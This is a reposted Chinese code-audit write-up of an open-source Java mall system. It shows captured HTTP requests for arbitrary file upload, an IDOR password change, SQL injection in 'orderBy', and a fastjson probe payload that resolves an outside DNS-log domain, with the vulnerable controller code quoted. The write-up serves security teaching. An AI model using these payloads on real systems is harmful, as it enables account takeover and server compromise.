Java代码审计 | 一次开源商城系统

admin 2025年3月5日20:32:16评论9 views字数 14757阅读49分11秒阅读模式

任意文件上传漏洞:

管理员后台文件添加位置:

Java代码审计 | 一次开源商城系统

数据包:

POST /tmall/admin/uploadCategoryImage HTTP/1.1
Host: 172.20.10.3:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----geckoformboundary588f72b1e5cfda5e42dc2d49f3443c83
Content-Length: 476
Origin: http://172.20.10.3:8080
Connection: close
Referer: http://172.20.10.3:8080/tmall/admin
Cookie: JSESSIONID=3F9D43F6B1171EB96AC92041E714A3FD; username=1209577113

------geckoformboundary588f72b1e5cfda5e42dc2d49f3443c83
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: image/jpeg

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<title>Hello World JSP</title>
</head>
<body>
<h1><%= "Hello, World!" %></h1>
<p>${"This is a JSP page."}</p>
</body>
</html>
------geckoformboundary588f72b1e5cfda5e42dc2d49f3443c83--

Java代码审计 | 一次开源商城系统

代码分析:

先去根据该接口快速定位:

Java代码审计 | 一次开源商城系统

相关代码如下,很明显后端无任何过滤:

// 上传产品类型图片-ajax    @ResponseBody    @RequestMapping(value = "admin/uploadCategoryImage", method = RequestMethod.POST, produces = "application/json;charset=utf-8")    public String uploadCategoryImage(@RequestParam MultipartFile file, HttpSession session) {        String originalFileName = file.getOriginalFilename();        logger.info("获取图片原始文件名:  {}", originalFileName);        String extension = originalFileName.substring(originalFileName.lastIndexOf('.'));        String fileName = UUID.randomUUID() + extension;//uid方法重命名        String filePath = session.getServletContext().getRealPath("/") + "res/images/item/categoryPicture/" + fileName;//拼接上传路径        logger.info("文件上传路径:{}", filePath);//这里可能存在log4j2漏洞        JSONObject object = new JSONObject();        try {            logger.info("文件上传中...");            file.transferTo(new File(filePath));            logger.info("文件上传完成");            object.put("success", true);            object.put("fileName", fileName);        } catch (IOException e) {            logger.warn("文件上传失败!");            e.printStackTrace();            object.put("success", false);        }        return object.toJSONString();    } }

Log4j2漏洞

根据刚才文件上传的地方可以看到logger.info函数,根据pom.xml文件中符合漏洞存在版本

Java代码审计 | 一次开源商城系统
Java代码审计 | 一次开源商城系统

根据代码可以判断,filePath是拼接了filename,然后filename是我们可以控制的,去找一个payload进行测试:

Java代码审计 | 一次开源商城系统Java代码审计 | 一次开源商城系统

任意文件上传+Log4j2漏洞*2

在后台寻找其他上传功能,发现个人信息管理处可以上传头像

Java代码审计 | 一次开源商城系统

去看后端代码,一模一样的逻辑,只不过就是换了一个接口名称。

Java代码审计 | 一次开源商城系统

漏洞复现:

任意文件上传:

Java代码审计 | 一次开源商城系统

log4j2漏洞:

Java代码审计 | 一次开源商城系统
Java代码审计 | 一次开源商城系统

存储型XSS漏洞*1

在后台所有产品功能这里选择添加产品

Java代码审计 | 一次开源商城系统

构造一个控制台打印的xss,payload

Java代码审计 | 一次开源商城系统
Java代码审计 | 一次开源商城系统

代码分析:

同样的根据请求接口路径去快速定位相对应的功能代码:

请求数据包:

Java代码审计 | 一次开源商城系统

定位对应功能代码:

Java代码审计 | 一次开源商城系统

该模块具体代码如下:

//添加产品信息-ajax.    @ResponseBody    @RequestMapping(value = "admin/product", method = RequestMethod.POST,produces = "application/json;charset=utf-8")    public String addProduct(@RequestParam String product_name/* 产品名称 */,                             @RequestParam String product_title/* 产品标题 */,                             @RequestParam Integer product_category_id/* 产品类型ID */,                             @RequestParam Double product_sale_price/* 产品促销价 */,                             @RequestParam Double product_price/* 产品原价 */,                             @RequestParam Byte product_isEnabled/* 产品状态 */,                             @RequestParam String propertyJson/* 产品属性JSON */,                             @RequestParam(required = false) String[] productSingleImageList/*产品预览图片名称数组*/,                             @RequestParam(required = false) String[] productDetailsImageList/*产品详情图片名称数组*/) {        JSONObject jsonObject = new JSONObject();        logger.info("整合产品信息");        Product product = new Product()                .setProduct_name(product_name)                .setProduct_title(product_title)                .setProduct_category(new Category().setCategory_id(product_category_id))                .setProduct_sale_price(product_sale_price)                .setProduct_price(product_price)                .setProduct_isEnabled(product_isEnabled)                .setProduct_create_date(new Date());        logger.info("添加产品信息");        boolean yn = productService.add(product);        if (!yn) {            logger.warn("产品添加失败!事务回滚");            jsonObject.put("success", false);            throw new RuntimeException();        }        int product_id = lastIDService.selectLastID();        logger.info("添加成功!,新增产品的ID值为:{}", product_id);

没有任何过滤通过获取后直接通过“boolean yn = productService.add(product);”预编译后插入到数据库中。Java代码审计 | 一次开源商城系统

而且在filter曾也没有相关过滤xss代码。

越权漏洞-任意账户密码修改

漏洞复现:

Java代码审计 | 一次开源商城系统

后台密码修改位置,保存并抓包。

数据包如下:

PUT /tmall/admin/account/1 HTTP/1.1 Host: 172.20.10.3:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 128 Origin: http://172.20.10.3:8080 Connection: close Referer: http://172.20.10.3:8080/tmall/admin Cookie: username=1209577113; username=1209577113; JSESSIONID=B1EFB94A5FF67C3B4FAAF58E7E80C1C4 Priority: u=0 admin_nickname=%E5%A6%82%E6%9C%89%E5%B7%A7%E5%90%88&admin_profile_picture_src=&admin_password=123456&admin_newPassword=123456789

修改请求头“PUT /tmall/admin/account/1”中的1为3后发包,返回true,但是当前用户的密码并没有被修改。

Java代码审计 | 一次开源商城系统

查看数据库,发现用户ID为3的管理员被修改了密码。

Java代码审计 | 一次开源商城系统

实现越权漏洞。

代码分析

相关功能控制层代码如下:

//更新管理员信息    @Transactional(propagation = Propagation.REQUIRED, rollbackFor = Exception.class)    @ResponseBody    @RequestMapping(value = "admin/account/{admin_id}", method = RequestMethod.PUT, produces = "application/json;charset=UTF-8")    public String updateAdmin(HttpSession session, @RequestParam String admin_nickname/*管理员昵称*/,                              @RequestParam(required = false) String admin_password/*管理员当前密码*/,                              @RequestParam(required = false) String admin_newPassword/*管理员新密码*/,                              @RequestParam(required = false) String admin_profile_picture_src/*管理员头像路径*/,                              @PathVariable("admin_id") String admin_id/*管理员编号*/) {        logger.info("获取管理员信息");        Object adminId = checkAdmin(session);//通过session验证管理员身份        if (adminId == null) {            return "admin/include/loginMessage";        }        JSONObject jsonObject = new JSONObject();        Admin putAdmin = new Admin();        putAdmin.setAdmin_id(Integer.valueOf(admin_id));//通过用户传递参数进行赋值        putAdmin.setAdmin_nickname(admin_nickname);        if (admin_password != null && !"".equals(admin_password) && admin_newPassword != null && !"".equals(admin_newPassword)) {            logger.info("获取需要修改的管理员信息");            Admin admin = adminService.get(null, Integer.valueOf(adminId.toString()));            if (adminService.login(admin.getAdmin_name(), admin_password) != null) {                logger.info("原密码正确");                putAdmin.setAdmin_password(admin_newPassword);            } else {                logger.info("原密码错误,返回错误信息");                jsonObject.put("success", false);                jsonObject.put("message", "原密码输入有误!");                return jsonObject.toJSONString();            }        }        if (admin_profile_picture_src != null && !"".equals(admin_profile_picture_src)) {            logger.info("管理员头像路径为{}", admin_profile_picture_src);            putAdmin.setAdmin_profile_picture_src(admin_profile_picture_src.substring(admin_profile_picture_src.lastIndexOf("/") + 1));        }        logger.info("更新管理员信息,管理员ID值为:{}", admin_id);//因为限制int类型,无法log4j2攻击        Boolean yn = adminService.update(putAdmin);//这里修改的就是通过用户输入的管理员ID了        if (yn) {            logger.info("更新成功!");            jsonObject.put("success", true);            session.removeAttribute("adminId");            session.invalidate();            logger.info("登录信息已清除");        } else {            jsonObject.put("success", false);            logger.warn("更新失败!事务回滚");            throw new RuntimeException();        }        return jsonObject.toJSONString();    } }

先对当前用户的session进行校验,如果为空就直接返回错误信息。(这里注意"adminId"这个参数)相关代码如下:

logger.info("获取管理员信息");
Object adminId = checkAdmin(session);//通过session验证管理员身份
if (adminId == null) {
return "admin/include/loginMessage";
}

然后开始进行修改的相关逻辑:

if (admin_password != null && !"".equals(admin_password) && admin_newPassword != null && !"".equals(admin_newPassword)) {
logger.info("获取需要修改的管理员信息");
Admin admin = adminService.get(null, Integer.valueOf(adminId.toString()));
if (adminService.login(admin.getAdmin_name(), admin_password) != null) {
logger.info("原密码正确");
putAdmin.setAdmin_password(admin_newPassword);
} else {
logger.info("原密码错误,返回错误信息");
jsonObject.put("success", false);
jsonObject.put("message", "原密码输入有误!");
return jsonObject.toJSONString();
}
}
if (admin_profile_picture_src != null && !"".equals(admin_profile_picture_src)) {
logger.info("管理员头像路径为{}", admin_profile_picture_src);
putAdmin.setAdmin_profile_picture_src(admin_profile_picture_src.substring(admin_profile_picture_src.lastIndexOf("/") + 1));
}

logger.info("更新管理员信息,管理员ID值为:{}", admin_id);//因为限制int类型,无法log4j2攻击
Boolean yn = adminService.update(putAdmin);//这里修改的就是通过用户输入的管理员ID了

这里需要注意参数"admin_id"。

这里的问题在于,代码首先通过 session 验证了当前用户的身份,并从中获取了 adminId,用于后续操作。然而,在修改管理员信息的逻辑中,代码使用了用户输入的 admin_id 作为参数来执行更新操作,而不是使用从 session 中获取的 adminId。这种设计导致了越权漏洞的产生。

具体来说,攻击者可以通过构造恶意请求,将 admin_id 参数设置为其他管理员的ID,从而绕过 session 的身份验证机制,直接修改其他管理员的信息。这是因为代码在修改信息时,没有再次验证 admin_id 是否与当前登录用户的 adminId 一致,导致攻击者可以越权操作。

漏洞产生的原因:
身份验证与操作分离:代码在开始时通过 session 验证了用户的身份,并获取了 adminId,但在实际修改操作中,却使用了用户输入的 admin_id,而没有再次验证该 admin_id 是否与当前用户的 adminId 一致。

未进行权限校验:在修改管理员信息时,代码没有检查当前用户是否有权限修改指定的 admin_id。攻击者可以通过修改 admin_id 参数,越权修改其他管理员的信息。

SQL注入漏洞

漏洞复现:

条件查询用户模块

Java代码审计 | 一次开源商城系统

抓包数据包如下:

GET /tmall/admin/user/0/10?user_name=1&user_gender_array=0&user_gender_array=1&orderBy=&isDesc=true HTTP/1.1 Host: 172.20.10.3:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Connection: close Referer: http://172.20.10.3:8080/tmall/admin Cookie: username=1209577113; username=1209577113; JSESSIONID=3212A2B210A9F457A72A97D6F1908337 Priority: u=0

SqlMap一把梭。

Java代码审计 | 一次开源商城系统

代码分析:

通过代码框架很容易看出来使用了mybatis,全局搜索${,发现存在一处

Java代码审计 | 一次开源商城系统

往上走,发现select这个方法调用。

Java代码审计 | 一次开源商城系统

再往上走,找到相关service层

Java代码审计 | 一次开源商城系统

发现orderUtil参数,确定是底层存在sql注入漏洞mybatis配置文件风险的调用者

Java代码审计 | 一次开源商城系统

继续往上走找到控制层

Java代码审计 | 一次开源商城系统

控制层代码如下:

//按条件查询用户-ajax    @ResponseBody    @RequestMapping(value = "admin/user/{index}/{count}", method = RequestMethod.GET, produces = "application/json;charset=UTF-8")    public String getUserBySearch(@RequestParam(required = false) String user_name/* 用户名称 */,                                  @RequestParam(required = false) Byte[] user_gender_array/* 用户性别数组 */,                                  @RequestParam(required = false) String orderBy/* 排序字段 */,                                  @RequestParam(required = false,defaultValue = "true") Boolean isDesc/* 是否倒序 */,                                  @PathVariable Integer index/* 页数 */,                                  @PathVariable Integer count/* 行数 */) throws UnsupportedEncodingException {        //移除不必要条件        Byte gender = null;        if (user_gender_array != null && user_gender_array.length == 1) {            gender = user_gender_array[0];        }        if (user_name != null) {            //如果为非空字符串则解决中文乱码:URLDecoder.decode(String,"UTF-8");            user_name = "".equals(user_name) ? null : URLDecoder.decode(user_name, "UTF-8");        }        if (orderBy != null && "".equals(orderBy)) {            orderBy = null;        }        //封装查询条件        User user = new User()                .setUser_name(user_name)                .setUser_gender(gender);        OrderUtil orderUtil = null;        if (orderBy != null) {            logger.info("根据{}排序,是否倒序:{}",orderBy,isDesc);            orderUtil = new OrderUtil(orderBy, isDesc);        }        JSONObject object = new JSONObject();        logger.info("按条件获取第{}页的{}条用户", index + 1, count);        PageUtil pageUtil = new PageUtil(index, count);        List<User> userList = userService.getList(user, orderUtil, pageUtil);        object.put("userList", JSONArray.parseArray(JSON.toJSONString(userList)));        logger.info("按条件获取用户总数量");        Integer userCount = userService.getTotal(user);        object.put("userCount", userCount);        logger.info("获取分页信息");        pageUtil.setTotal(userCount);        object.put("totalPage", pageUtil.getTotalPage());        object.put("pageUtil", pageUtil);        return object.toJSONString();    } }

根据注释可以发现是用户查询模块,注入点参数为"orderBy",并且orderBy使用用户输入。

Java代码审计 | 一次开源商城系统

FastJson漏洞

根据pom.xml文件找到的存在fastjson组件并且版本是存在漏洞风险的版本。Java代码审计 | 一次开源商城系统

fastjson漏洞需要关注的是Json.parseObject和JSON.parse

Json.parseObject和JSON.parse 是阿里巴巴的 fastjson 库中的一个方法,用于将 JSON 字符串解析为 Java 对象。fastjson 是一个高性能的 JSON 库,广泛用于 Java 项目中。

用法示例:

public static <T> T parseObject(String text, Class<T> clazz);

参数

  • text: 要解析的 JSON 字符串。
  • clazz: 目标 Java 类的 Class 对象,表示要将 JSON 字符串解析成的对象类型。

通过全局搜索发现Json.parseObject被使用。

Java代码审计 | 一次开源商城系统

控制层存在漏洞的代码功能模块如下:

//添加产品信息-ajax.    @ResponseBody    @RequestMapping(value = "admin/product", method = RequestMethod.POST,produces = "application/json;charset=utf-8")    public String addProduct(@RequestParam String product_name/* 产品名称 */,                             @RequestParam String product_title/* 产品标题 */,                             @RequestParam Integer product_category_id/* 产品类型ID */,                             @RequestParam Double product_sale_price/* 产品促销价 */,                             @RequestParam Double product_price/* 产品原价 */,                             @RequestParam Byte product_isEnabled/* 产品状态 */,                             @RequestParam String propertyJson/* 产品属性JSON */,                             @RequestParam(required = false) String[] productSingleImageList/*产品预览图片名称数组*/,                             @RequestParam(required = false) String[] productDetailsImageList/*产品详情图片名称数组*/) {        JSONObject jsonObject = new JSONObject();        logger.info("整合产品信息");        Product product = new Product()                .setProduct_name(product_name)                .setProduct_title(product_title)                .setProduct_category(new Category().setCategory_id(product_category_id))                .setProduct_sale_price(product_sale_price)                .setProduct_price(product_price)                .setProduct_isEnabled(product_isEnabled)                .setProduct_create_date(new Date());        logger.info("添加产品信息");        boolean yn = productService.add(product);        if (!yn) {            logger.warn("产品添加失败!事务回滚");            jsonObject.put("success", false);            throw new RuntimeException();        }        int product_id = lastIDService.selectLastID();        logger.info("添加成功!,新增产品的ID值为:{}", product_id);        JSONObject object = JSON.parseObject(propertyJson);        Set<String> propertyIdSet = object.keySet();        if (propertyIdSet.size() > 0) {            logger.info("整合产品子信息-产品属性");            List<PropertyValue> propertyValueList = new ArrayList<>(5);            for (String key : propertyIdSet) {                String value = object.getString(key);                PropertyValue propertyValue = new PropertyValue()                        .setPropertyValue_value(value)                        .setPropertyValue_property(new Property().setProperty_id(Integer.valueOf(key)))                        .setPropertyValue_product(new Product().setProduct_id(product_id));                propertyValueList.add(propertyValue);            }

具体如下:

"   JSONObject object = JSON.parseObject(propertyJson);"

然后去定位"propertyJson"函数,看看是否可控。

Java代码审计 | 一次开源商城系统

是可控的。

漏洞复现:

点击添加产品后抓包:

Java代码审计 | 一次开源商城系统

在产品属性处构造payload

POST /tmall/admin/product HTTP/1.1 Host: 172.20.10.3:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 446 Origin: http://172.20.10.3:8080 Connection: close Referer: http://172.20.10.3:8080/tmall/admin Cookie: username=1209577113; username=1209577113; JSESSIONID=3212A2B210A9F457A72A97D6F1908337 Priority: u=0 product_category_id=1&product_isEnabled=0&product_name=123&product_title=123&product_price=123&product_sale_price=123&propertyJson={"aa":{"@type":"java.net.Inet4Address","val":"ayctnlcpyu.lfcx.eu111.org"}} &productSingleImageList=%2Ftmall%2Fres%2Fimages%2Fitem%2FproductSinglePicture%2F70aae9ec-8a6b-4365-9afb-ae3403755086.jpg&productDetailsImageList=%2Ftmall%2Fres%2Fimages%2Fitem%2FproductDetailsPicture%2F55433b62-c99c-4f85-8df8-6648cb66c5e2.jpg
Java代码审计 | 一次开源商城系统

RCE的方法示例有很多,我就不在这里演示了。

原文链接:https://www.freebuf.com/articles/web/423360.html

原文始发于微信公众号(亿人安全):Java代码审计 | 一次开源商城系统

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月5日20:32:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java代码审计 | 一次开源商城系统http://cn-sec.com/archives/3798561.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息